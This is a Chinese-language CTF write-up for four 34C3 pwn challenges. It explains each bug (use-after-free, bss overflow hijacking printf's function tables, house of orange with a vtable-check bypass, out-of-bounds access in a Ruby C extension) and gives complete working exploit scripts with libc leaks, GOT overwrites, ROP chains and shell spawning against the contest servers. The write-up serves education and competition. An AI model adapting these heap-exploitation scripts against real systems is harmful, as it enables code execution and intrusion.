1. SimpleGC

漏洞点在删除user减少group的引用计数时,程序的实现是遍历整个group数组找到一样的进行减1,如果先添加一个不存在的group的user,然后把该user的group修改成已存在的,在删除该user时就会把之前已存在的group free掉导致UAF

void __fastcall dec_group_refcount(const char *a1)
{
  unsigned __int16 i; // [sp+1Eh] [bp-2h]@1

  for ( i = 0; i <= 0x5Fu; ++i )
  {
    if ( *(&group + i) && !strcmp(a1, *(const char **)*(&group + i)) )
    {
      if ( *((_BYTE *)*(&group + i) + 8) )
        --*((_BYTE *)*(&group + i) + 8);
    }
  }
}

由于free group是在另一个线程中,在GLIBC 2.26下free掉的chunk会先放到tcache中导致有个坑点,tcache可以参考http://tukan.farm/2017/07/08/tcache/

#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);

    if (tcache
	&& tc_idx < mp_.tcache_bins
	&& tcache->counts[tc_idx] < mp_.tcache_count)
      {
	tcache_put (p, tc_idx);
	return;
      }
  }
#endif

可以先free掉一些group,把另一个线程的tcache中相应bin的chunk填满,之后覆盖fd进行fastbin attack就比较容易了,exploit如下

from pwn import *
import time

LOCAL = 0
VERBOSE = 1
DEBUG = 0
context.arch = 'amd64'

if VERBOSE:
	context.log_level = 'debug'

if LOCAL:
	io = process('./sgc')
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
	if DEBUG:
		gdb.attach(io)
else:
	io = remote('35.198.176.224', 1337)
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add_user(name, group, age):
	io.recvuntil('Action: ')
	io.sendline('0')
	io.recvuntil('Please enter the user\'s name: ')
	io.send(name)
	io.recvuntil('Please enter the user\'s group: ')
	io.send(group)
	io.recvuntil('Please enter your age: ')
	io.sendline(str(age))

def display_user(index):
	io.recvuntil('Action: ')
	io.sendline('2')
	io.recvuntil('Enter index: ')	
	io.sendline(str(index))

def edit_group(index, group, is_propagate):
	io.recvuntil('Action: ')
	io.sendline('3')
	io.recvuntil('Enter index: ')	
	io.sendline(str(index))
	io.recvuntil('group(y/n): ')
	io.sendline(is_propagate)
	io.recvuntil('Enter new group name: ')
	io.send(group)

def del_user(index):
	io.recvuntil('Action: ')
	io.sendline('4')
	io.recvuntil('Enter index: ')	
	io.sendline(str(index))

elf = ELF('./sgc')
add_user('1111\n', 'AAAA\n', 1)
del_user(0)
time.sleep(1)
add_user('2222\n', 'BBBB\n', 2)
del_user(0)
time.sleep(1)
add_user('3333\n', 'CCCC\n', 3)
del_user(0)
time.sleep(1)
add_user('4444\n', 'DDDD\n', 4)
del_user(0)
time.sleep(1)

for i in range(20):
    add_user('5555\n', 'EEEE\n', i)

for i in range(20):
    del_user(i)
    time.sleep(1)

add_user('6666\n', 'FFFF\n', 0x60)
add_user('7777\n', 'GGGG\n', 0x61)
add_user('8888\n', 'HHHH\n', 0xd0)
edit_group(1, 'FFFF\n', 'y')
del_user(1)

time.sleep(1)
heap_offset = 0xc0
display_user(0)
io.recvuntil('Group: ')
leak_heap_addr = u64(io.recvuntil('\n')[:-1].ljust(8, '\x00'))
user3_heap_addr = leak_heap_addr + heap_offset
log.info('leak_heap_addr:%#x' % leak_heap_addr)
log.info('user3_heap_addr:%#x' % user3_heap_addr)

edit_group(0, p64(user3_heap_addr) + '\n', 'y')
edit_group(2, 'IIII\n', 'n')
edit_group(2, '\x00\x00\x00\x00\n', 'n')
edit_group(2, 'KKKK\n', 'n')

add_user('4444\n', p64(0) + p64(elf.got['atoi']) * 2, 4)
display_user(2)
io.recvuntil('Group: ')
free_addr = u64(io.recvuntil('\n')[:-1].ljust(8, '\x00'))
libc_addr = free_addr - libc.symbols['atoi']
system_addr = libc_addr + libc.symbols['system']
log.info('libc_addr:%#x' % libc_addr)
log.info('system_addr:%#x' % system_addr)
edit_group(2, p64(system_addr)[:6] + '\n', 'y')

io.recvuntil('Action: ')
io.sendline('2')
io.recvuntil('Enter index: ')
io.sendline('sh\x00')

io.interactive()

# 34C3_th4t_garb4ge_c0llect0r_w4s_garbage_heh

2. readme_revenge

题目代码很简单,bss段上的缓冲区溢出后调用printf

.text:0000000000400A0D ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000400A0D                 public main
.text:0000000000400A0D main            proc near               ; DATA XREF: _start+1Do
.text:0000000000400A0D
.text:0000000000400A0D var_s0          = qword ptr  0
.text:0000000000400A0D
.text:0000000000400A0D                 push    rbp
.text:0000000000400A0E                 mov     rbp, rsp
.text:0000000000400A11                 lea     rsp, [rsp-1020h]
.text:0000000000400A19                 or      [rsp+var_s0], 0
.text:0000000000400A1E                 lea     rsp, [rsp+1020h]
.text:0000000000400A26                 lea     rsi, name
.text:0000000000400A2D                 lea     rdi, aS_2       ; "%s"
.text:0000000000400A34                 mov     eax, 0
.text:0000000000400A39                 call    __isoc99_scanf
.text:0000000000400A3E                 lea     rsi, name
.text:0000000000400A45                 lea     rdi, aHiS_Bye_  ; "Hi, %s. Bye.\n"
.text:0000000000400A4C                 mov     eax, 0
.text:0000000000400A51                 call    printf
.text:0000000000400A56                 mov     eax, 0
.text:0000000000400A5B                 pop     rbp
.text:0000000000400A5C                 retn
.text:0000000000400A5C main            endp

flag在程序的data段上,自然而然想到__stack_chk_fail_local,再看name的地址是0x6B73E0__libc_argv的地址是0x6B7980,刚好在name下面。剩下就是找控PC的办法,name往下再看还有几个printf相关的变量__printf_function_table__printf_modifier_table__printf_arginfo_table__printf_va_arg_table,于是看printf的源码,在__parse_one_specmb函数中有如下代码

if (__builtin_expect (__printf_function_table == NULL, 1)
    || spec->info.spec > UCHAR_MAX
    || __printf_arginfo_table[spec->info.spec] == NULL
    /* We don't try to get the types for all arguments if the format
       uses more than one.  The normal case is covered though.  If
       the call returns -1 we continue with the normal specifiers.  */
    || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
                                 (&spec->info, 1, &spec->data_arg_type,
                                  &spec->size)) < 0)

因此把__printf_function_table赋值为非0,对__printf_arginfo_table[ord('s')]赋值就可以控PC了,exploit如下

from pwn import *

LOCAL = 0
VERBOSE = 1
DEBUG = 1
context.arch = 'amd64'

if VERBOSE:
    context.log_level = 'debug'

if LOCAL:
    io = process('./readme_revenge')
    if DEBUG:
        gdb.attach(io, 'b *0x0000000000400A51\n')
else:
    io = remote('35.198.130.245', 1337)

name_addr = 0x00000000006B73E0
argv_offset = 0x5a0
offset = 0x00000000006B7A28 - name_addr
payload = p64(0x00000000006B4040) + p64(0)
payload = payload.ljust(0x73 * 8, 'A')
payload += p64(0x4359B0)
payload += 'A' * 8
payload = payload.ljust(argv_offset, 'A')
payload += p64(name_addr)
payload = payload.ljust(offset, 'A')
payload += p64(name_addr+8)
payload += p64(0)
payload += 'A' * (0x00000000006B7AA8 - 0x00000000006B7A38)
payload += p64(name_addr)
payload += p64(name_addr+8)

io.sendline(payload)
io.interactive()

# 34C3_printf_1s_s0_fun_s0m3t1m3s!!11

3. 300

题目代码也很简单,漏洞点是在free_it函数中,free完后没有把相应位置置空导致UAF

void __fastcall free_it(int slot)
{
  free(allocs[slot]);
}

利用思路就是伪造一个overlapping unsorted bin进行house of orange,但GLIBC 2.24有_IO_vtable_check校验vtable,可以把vtable改成IO_str_jumps,参考http://simp1e.leanote.com/post/Hctf-2017-babyprintf,exploit如下

from pwn import *

LOCAL = 0
VERBOSE = 0
DEBUG = 0
context.arch = 'amd64'

if VERBOSE:
	context.log_level = 'debug'

if LOCAL:
	io = process('./300', env={'LD_PRELOAD': './libc.so.6'})
	libc = ELF('./libc.so.6')
	libc_offset = 0x3c1b58
	heap_offset = 0x620
	if DEBUG:
		gdb.attach(io)
else:
	io = remote('104.199.25.43', 1337)
	libc = ELF('./libc.so.6')
	libc_offset = 0x3c1b58
	heap_offset = 0x620

def alloc_it(slot):
	io.recvuntil('4) free\n')
	io.sendline('1')
	io.recvuntil('slot? (0-9)\n')
	io.sendline(str(slot))

def write_it(slot, content):
	io.recvuntil('4) free\n')
	io.sendline('2')
	io.recvuntil('slot? (0-9)\n')
	io.sendline(str(slot))
	io.send(content)

def print_it(slot):
	io.recvuntil('4) free\n')
	io.sendline('3')
	io.recvuntil('slot? (0-9)\n')
	io.sendline(str(slot))

def free_it(slot):
	io.recvuntil('4) free\n')
	io.sendline('4')
	io.recvuntil('slot? (0-9)\n')
	io.sendline(str(slot))

alloc_it(0)
alloc_it(1)
alloc_it(2)
alloc_it(3)
alloc_it(4)
alloc_it(5)
free_it(0)
print_it(0)
leak_libc_addr = u64(io.recvuntil('\n')[:6].ljust(8, '\x00'))
libc_addr = leak_libc_addr - libc_offset
log.info('leak_libc_addr:%#x' % leak_libc_addr)
log.info('libc_addr:%#x' % libc_addr)

free_it(2)
free_it(4)
print_it(4)
leak_heap_addr = u64(io.recvuntil('\n')[:6].ljust(8, '\x00'))
heap_base_addr = leak_heap_addr - heap_offset
log.info('leak_heap_addr:%#x' % leak_heap_addr)
log.info('heap_base_addr:%#x' % heap_base_addr)

# recover
free_it(5)
free_it(3)
free_it(1)

alloc_it(0)
alloc_it(1)
alloc_it(2)
alloc_it(3)
alloc_it(4)
alloc_it(5)
free_it(0)
free_it(2)
free_it(4)
write_it(4, p64(heap_base_addr+0xc20)+p64(leak_libc_addr))
write_it(3, 'A' * 0x2e0 + p64(0) + p64(0x311) + p64(heap_base_addr) + p64(heap_base_addr+0xc40))
write_it(0, p64(leak_libc_addr) + p64(heap_base_addr + 0xc20))
alloc_it(6)
alloc_it(6)

payload = 'A' * 0x10

real_io_list=libc_addr+libc.symbols['_IO_list_all']
real_system=libc_addr+libc.symbols['system']
real_binsh=libc_addr+next(libc.search('/bin/sh'))
vtable_addr=libc_addr+0x3BE4C0

fake_chunk = '\x00'*8+p64(0x61) # smallbin[4]
fake_chunk += p64(0xddaa)+p64(real_io_list-0x10)
fake_chunk += p64(0xffffffffffffff)+p64(0x2)+p64(0)*2+p64((real_binsh-0x64)/2)
fake_chunk = fake_chunk.ljust(0xa0,'\x00')
fake_chunk += p64(real_system+0x420)
fake_chunk = fake_chunk.ljust(0xc0,'\x00')
fake_chunk += p64(1)
fake_chunk += p64(0)
fake_chunk += p64(0)
fake_chunk += p64(vtable_addr)
fake_chunk += p64(real_system)
fake_chunk += p64(2)
fake_chunk += p64(3)

payload = 'A' * 0x10 + fake_chunk
write_it(6, payload)

alloc_it(7)

io.recvuntil('[vsyscall]\n')

io.sendline('cat home/user/flag')

print io.recv()

io.interactive()

# 34C3_but_does_your_exploit_work_on_1710_too

4. LFA

LFA.so是一个ruby的c扩展,再看patch是把syscall禁了,只允许有限的几个,通过看patch猜测是要我们通过ROP执行readvwrite输出flag

+	struct sock_filter filter[] = {
+	VALIDATE_ARCHITECTURE,
+	LOAD_SYSCALL_NR,
+	SECCOMP_SYSCALL(__NR_exit, ALLOW),
+	SECCOMP_SYSCALL(__NR_exit_group, ALLOW),
+	SECCOMP_SYSCALL(__NR_brk, ALLOW),
+	SECCOMP_SYSCALL(__NR_mmap, JUMP(&l, mmap)),
+	SECCOMP_SYSCALL(__NR_munmap, ALLOW),
+	SECCOMP_SYSCALL(__NR_mremap, ALLOW),
+	SECCOMP_SYSCALL(__NR_readv, ALLOW),
+	SECCOMP_SYSCALL(__NR_futex, ALLOW),
+	SECCOMP_SYSCALL(__NR_close, ALLOW),
+	SECCOMP_SYSCALL(__NR_write, JUMP(&l, write)),
+	SECCOMP_SYSCALL(__NR_rt_sigaction, ALLOW),
+	DENY,
+
+	LABEL(&l, mmap),
+	ARG(0),
+	JNE(0, DENY),
+	ARG(2),
+	JNE(PROT_READ|PROT_WRITE, DENY),
+	ARG(3),
+	JNE(MAP_PRIVATE|MAP_ANONYMOUS, DENY),
+	ARG(4),
+	JNE(-1, DENY),
+	ARG(5),
+	JNE(0, DENY),
+	ALLOW,
+
+	LABEL(&l, write),
+	ARG(0),
+	JEQ(STDOUT_FILENO, ALLOW),
+	JEQ(STDERR_FILENO, ALLOW),
+	DENY,
+	};

接下来就是在LFA.so中找漏洞,漏洞是在remove函数中

signed __int64 __fastcall remove(__int64 self, _DWORD *index_1)
{
  unsigned int index; // ebx@12
  array *array; // rax@15
  array *v5; // rdi@17
  array *v6; // rdx@17
  int start; // ecx@18
  int flag; // er8@22
  signed int v9; // ecx@22
  int v10; // ecx@23
  array *i; // rcx@26
  array *v12; // rdx@29
  char *v13; // rsi@33
  signed __int64 v14; // rcx@33
  char *v15; // rdi@33

  if ( (unsigned __int8)index_1 & 7 )
  {
    if ( !((unsigned __int8)index_1 & 1) )
    {
      if ( ((unsigned __int8)index_1 & 3) == 2
        || ((unsigned __int64)index_1 & 0xFFFFFFFFFFFFFFDFLL) == 20
        || (_BYTE)index_1 == 12
        || (*index_1 & 0x1F) != 21 )
      {
        return 0LL;
      }
LABEL_12:
      index = rb_num2int(index_1);
      goto LABEL_14;
    }
  }
  else
  {
    if ( !((unsigned __int64)index_1 & 0xFFFFFFFFFFFFFFF7LL) || (*index_1 & 0x1F) != 21 )
      return 0LL;
    if ( !((unsigned __int8)index_1 & 1) )
      goto LABEL_12;
  }
  index = rb_fix2int(index_1);
LABEL_14:
  if ( (index & 0x80000000) != 0 )
    return 0LL;
  LODWORD(array) = rb_check_typeddata(self, (__int64)&off_201DC0);
  if ( array->size <= index )
    return 0LL;
  if ( array->bitmap )
    return 0LL;
  v5 = (array *)array->buf;
  v6 = (array *)array->buf;
  if ( !v5 )
    return 0LL;
  while ( 1 )
  {
    start = v6->size;
    if ( index >= v6->size && index <= start + 15 )
      break;
    v6 = (array *)v6->buf;
    if ( !v6 )
      return 0LL;
  }
  flag = v6->bitmap;
  v9 = 1 << (index - start);
  if ( !(flag & v9) )
    return 0LL;
  v10 = flag & ~v9;
  v6->bitmap = v10;
  if ( !v10 )
  {
    if ( v5->bitmap )
    {
      for ( i = v5; ; i = (array *)i->buf )
      {
        v12 = (array *)i->buf;
        if ( !v12 || !v12->bitmap )
          break;
      }
      i->buf = v12->buf;
    }
    else
    {
      v5 = (array *)v5->buf;
      array->buf = (int *)v5;
    }
    if ( !v5->buf && !v5->size )
    {
      v13 = (char *)v5->data;
      v14 = 16LL;
      array->buf = array->data;
      v15 = (char *)array->data;
      while ( v14 )
      {
        *(_DWORD *)v15 = *(_DWORD *)v13;
        v13 += 4;
        v15 += 4;
        --v14;
      }
      array->bitmap = 1;
    }
  }
  return 20LL;
}

可以看到删除元素后当数组的最大索引值小于16时没有改数组的length,但是把bitmap赋值为了1,这样在get函数和set函数中就有一个OOB导致的读和写了

signed __int64 __fastcall set(__int64 self, _DWORD *a2, __int64 a3)
{
  signed __int64 result; // rax@7
  __int64 v4; // ST08_8@12
  int v5; // eax@12
  __int64 arg2; // rdx@12
  __int64 index; // rbp@12
  __int64 v8; // ST08_8@13
  int v9; // eax@13
  int arg2_value; // er12@16
  array *array1; // rax@17
  array *array2; // r13@17
  __int64 v13; // rax@19
  array *v14; // rbx@19
  int *v15; // rdx@19
  int v16; // edx@25
  array *v17; // rax@28
  array *v18; // rax@23
  char *v19; // rdx@30

  if ( (unsigned __int8)a2 & 7 )
  {
    if ( !((unsigned __int8)a2 & 1) )
    {
      if ( ((unsigned __int64)a2 & 0xFFFFFFFFFFFFFFDFLL) == 20
        || ((unsigned __int8)a2 & 3) == 2
        || (_BYTE)a2 == 12
        || (*a2 & 0x1F) != 0x15 )
      {
        return 0LL;
      }
      goto LABEL_12;
    }
  }
  else
  {
    if ( !((unsigned __int64)a2 & 0xFFFFFFFFFFFFFFF7LL) || (*a2 & 0x1F) != 21 )
      return 0LL;
    if ( !((unsigned __int8)a2 & 1) )
    {
LABEL_12:
      v4 = a3;
      v5 = rb_num2int(a2);
      arg2 = v4;
      index = v5;
      goto LABEL_14;
    }
  }
  v8 = a3;
  v9 = rb_fix2int(a2);
  arg2 = v8;
  index = v9;
LABEL_14:
  if ( (signed int)index < 0 )
    return 0LL;
  if ( arg2 & 1 )
    arg2_value = rb_fix2int(arg2);
  else
    arg2_value = rb_num2int(arg2);
  LODWORD(array1) = rb_check_typeddata(self, (__int64)&off_201DC0);
  array2 = array1;
  if ( array1->bitmap )
  {
    if ( array1->length <= (unsigned int)index )
    {
      array1->bitmap = 0;
      array1->length = index + 1;
      LODWORD(v13) = ruby_xmalloc(0x50LL);
      *(_DWORD *)v13 = 0;
      *(_QWORD *)(v13 + 8) = 0LL;
      *(_DWORD *)(v13 + 4) = 0xFFFF;
      v14 = (array *)v13;
      *(_OWORD *)(v13 + 16) = 0LL;
      *(_OWORD *)(v13 + 32) = 0LL;
      *(_OWORD *)(v13 + 48) = 0LL;
      *(_OWORD *)(v13 + 64) = 0LL;
      v15 = array2->buf;
      *(__m128i *)(v13 + 16) = _mm_loadu_si128((const __m128i *)v15);
      *(__m128i *)(v13 + 32) = _mm_loadu_si128((const __m128i *)v15 + 1);
      *(__m128i *)(v13 + 48) = _mm_loadu_si128((const __m128i *)v15 + 2);
      *(__m128i *)(v13 + 64) = _mm_loadu_si128((const __m128i *)v15 + 3);
      array2->buf = (int *)v13;
      goto LABEL_25;
    }
    result = 20LL;
    array2->buf[index] = arg2_value;
  }
  else
  {
    if ( (unsigned int)index >= array1->length )
      array1->length = index + 1;
    v14 = (array *)array1->buf;
    if ( !v14 )
    {
      LODWORD(v18) = ruby_xmalloc(80LL);
      v19 = (char *)&v18->data[1];
      v18->length = index;
      v18->buf = 0LL;
      *(_OWORD *)&v18->data[1] = 0LL;
      *((_QWORD *)v19 + 6) = 0LL;
      *((_DWORD *)v19 + 14) = 0;
      *((_OWORD *)v19 + 1) = 0LL;
      *((_OWORD *)v19 + 2) = 0LL;
      v18->data[0] = arg2_value;
      v18->bitmap = 1;
      ::v8 = v18;
      BUG();
    }
LABEL_25:
    while ( 1 )
    {
      v16 = v14->length;
      if ( (unsigned int)index >= v14->length && (unsigned int)index <= v16 + 15 )
        break;
      if ( !v14->buf )
      {
        LODWORD(v17) = ruby_xmalloc(0x50LL);
        v17->length = index;
        v17->buf = 0LL;
        *(_QWORD *)&v17->data[13] = 0LL;
        v17->data[15] = 0;
        v17->data[0] = arg2_value;
        *(_OWORD *)&v17->data[1] = 0LL;
        v17->bitmap = 1;
        *(_OWORD *)&v17->data[5] = 0LL;
        *(_OWORD *)&v17->data[9] = 0LL;
        v14->buf = (int *)v17;
        return 20LL;
      }
      v14 = (array *)v14->buf;
    }
    v14->data[(unsigned int)(index - v16)] = arg2_value;
    v14->bitmap |= 1 << (index - v16);
    result = 20LL;
  }
  return result;
}

如果删除很大length的数组,set时校验index通过,第86行就能够越界写

signed __int64 __fastcall get(__int64 self, _DWORD *arg1)
{
  int v2; // eax@7
  __int64 index; // rbx@7
  int v5; // eax@13
  array *array; // rax@14
  array *v7; // rdx@15
  int v8; // eax@17

  if ( (unsigned __int8)arg1 & 7 )
  {
    if ( !((unsigned __int8)arg1 & 1) )
    {
      if ( ((unsigned __int64)arg1 & 0xFFFFFFFFFFFFFFDFLL) == 0x14
        || ((unsigned __int8)arg1 & 3) == 2
        || (_BYTE)arg1 == 0xC
        || (*arg1 & 0x1F) != 0x15 )
      {
        return 8LL;
      }
LABEL_7:
      v2 = rb_num2int(arg1);
      index = v2;
      if ( v2 < 0 )
        return 8LL;
      goto LABEL_14;
    }
  }
  else
  {
    if ( !((unsigned __int64)arg1 & 0xFFFFFFFFFFFFFFF7LL) || (*arg1 & 0x1F) != 21 )
      return 8LL;
    if ( !((unsigned __int8)arg1 & 1) )
      goto LABEL_7;
  }
  v5 = rb_fix2int(arg1);
  index = v5;
  if ( v5 < 0 )
    return 8LL;
LABEL_14:
  LODWORD(array) = rb_check_typeddata(self, (__int64)&off_201DC0);
  if ( array->length > (unsigned int)index )
  {
    v7 = (array *)array->buf;
    if ( array->bitmap )
      return 2LL * *(&v7->length + index) + 1;
    while ( v7 )
    {
      v8 = v7->length;
      if ( (unsigned int)index >= v7->length && (unsigned int)index <= v8 + 15 )
      {
        if ( !((1 << (index - v8)) & v7->bitmap) )
          return 8LL;
        return 2LL * v7->data[(unsigned int)(index - v8)] + 1;
      }
      v7 = (array *)v7->buf;
    }
  }
  return 8LL;
}

set函数,46行能够越界读。我的利用思路是喷射RString然后改它的ptr来进行任意地址读,喷射RArray通过改它的ptr来修改LFA对象的ptr,再通过set LFA对象来实现任意地址写,最后参考https://david942j.blogspot.jp/2017/11/official-write-up-hitcon-ctf-2017.html找到__libc_start_main_ret的栈地址写ROP链执行输出flag,exploit如下

GC.disable
arr = LFA.new
arr_addr = arr.__id__ * 2
puts 'arr_addr: 0x' + arr_addr.to_s(16)
spray_arr = Array.new(0x1000)
i = 0
while i < spray_arr.length do
    if i % 2 == 0
        spray_arr[i] = String.new('A' * 0x50)
    else
        spray_arr[i] = Array.new(0x50)
    end
    i += 1
end
arr[0x80000000-1] = 1
arr.remove(0x80000000-1)
finded = Array[0, 0]
i = 0
while i < 0x80000000 do
    if arr[i] == 0x506005 and arr[i+1] == 0 and arr[i+4] == 0x50 and arr[i+5] == 0 and finded[0] == 0
        arr[i+4] = 0x60
        finded[0] = 1
        arr_str_index = i
        puts 'str: ' + i.to_s()
    elsif arr[i] == 7 and arr[i+1] == 0 and arr[i+4] == 0x50 and arr[i+5] == 0 and arr[i+6] == 0x50 and arr[i+7] == 0 and finded[1] == 0
        arr[i+4] = 0x70
        arr[i+6] = 0x70
        finded[1] = 1
        arr_arr_index = i
        puts 'arr: ' + i.to_s()
    end
    if finded[0] == 1 and finded[1] == 1
        break
    end
    i += 1
end
finded = Array[0, 0]
i = 0
while i < spray_arr.length do
    if spray_arr[i].length == 0x60 and finded[0] == 0
        target_str = spray_arr[i]
        target_str_index = i
        finded[0] = 1
    elsif spray_arr[i].length == 0x70 and finded[1] == 0
        target_arr = spray_arr[i]
        target_arr_index = i
        finded[1] = 1
    end
    if finded[0] == 1 and finded[1] == 1
        break
    end
    i += 1
end
target_str_addr = target_str.__id__ * 2
puts 'target_str_addr: 0x' + target_str_addr.to_s(16)
target_arr_addr = target_arr.__id__ * 2
puts 'target_arr_addr: 0x' + target_arr_addr.to_s(16)
leak = lambda do |addr|
    return 0 if addr.to_s(16).chars.count{|c|c=='0'} > 6
    low = addr & 0xffffffff
    if (low & 0x80000000) != 0
        low = -((1<<32) - low)
    end
    arr[arr_str_index+6] = low
    arr[arr_str_index+7] = (addr >> 32) & 0xffffffff
    target_str[0, 8].unpack("Q*")[0]
end
leak_lfa_addr = leak.call(arr_addr + 0x10)
lfa_arr_addr = leak.call(arr_addr + 0x20)
puts 'leak_lfa_addr: 0x' + leak_lfa_addr.to_s(16)
puts 'lfa_arr_addr: 0x' + lfa_arr_addr.to_s(16)

leak_libc_addr = leak.call(leak_lfa_addr + 0x238)
libc_addr = leak_libc_addr - 0x3c1a0
puts 'leak_libc_addr: 0x' + leak_libc_addr.to_s(16)
puts 'libc_addr: 0x' + libc_addr.to_s(16)

leak_stack = leak.call(libc_addr + 0x3df418)
stack_ret = leak_stack - 0xe0
puts 'leak_stack: 0x' + leak_stack.to_s(16)
puts 'stack_ret: 0x' + stack_ret.to_s(16)

transform = lambda do |val|
    if (val & 0x80000000) != 0
        val = -((1<<32) - val)
    end
    val
end
arr[arr_arr_index+8] = transform.call((lfa_arr_addr + 8) & 0xffffffff)
arr[arr_arr_index+9] = ((lfa_arr_addr + 8) >> 32) & 0xffffffff
arr[0] = transform.call((lfa_arr_addr + 0x20) & 0xffffffff)
arr[1] = ((lfa_arr_addr + 0x20) >> 32) & 0xffffffff
arr[2] = 0x60
pop_rax = 0x00000000000234c3
pop_rdi = 0x0000000000020b8b
pop_rsi = 0x0000000000020a0b
pop_rdx = 0x0000000000001b96
syscall_ret = 0x00000000000c7f75
target_arr[0] = (stack_ret - 1) / 2
write = lambda do |idx, val|
    low = (val & 0xffffff) << 8
    if (low & 0x80000000) != 0
        low = -((1<<32) - low)
    end
    arr[idx*2] = low
    arr[idx*2+1] = (val >> 24)
end
rop1 = [libc_addr + pop_rax, 19, libc_addr + pop_rdi, 1023, libc_addr + pop_rsi, lfa_arr_addr + 0x10, libc_addr + pop_rdx, 1, libc_addr + syscall_ret]
rop = rop1 + [libc_addr + pop_rax, 1, libc_addr + pop_rdi, 1, libc_addr + pop_rsi, lfa_arr_addr + 0x20, libc_addr + pop_rdx, 0x60, libc_addr + syscall_ret]
rop.each_with_index do |v, i|
    write.call(i, v)
end
exit
from pwn import *

LOCAL = 0
context.log_level = 'debug'
context.arch = 'amd64'

if LOCAL:
    io = process(['python', 'server.py'])
else:
    io = remote('35.198.184.75', 1337)

if LOCAL == 0:
    io.recvuntil('Proof of work challenge: ')
    challenge = io.recvuntil('\n')[:-1]
    io.recvuntil('Your response? ')
    pow_proc = process(['./pow.py', challenge])
    pow_proc.recvuntil('Solution: ')
    solution = pow_proc.recvuntil('\n')[:-1]
    log.info('solution:%s' % solution)
    io.sendline(solution)

def send(content):
    io.recvuntil('code> ')
    io.send(content)

payload = open('c.rb', 'r')
data = payload.read()
data = data.replace('\n', ';')

io.recv()
io.sendline(data)
send('END_OF_PWN\n')
io.recv()
io.interactive()

# 34C3_H0pe_Th1s_ChALl3nG3_WaS_4_G3M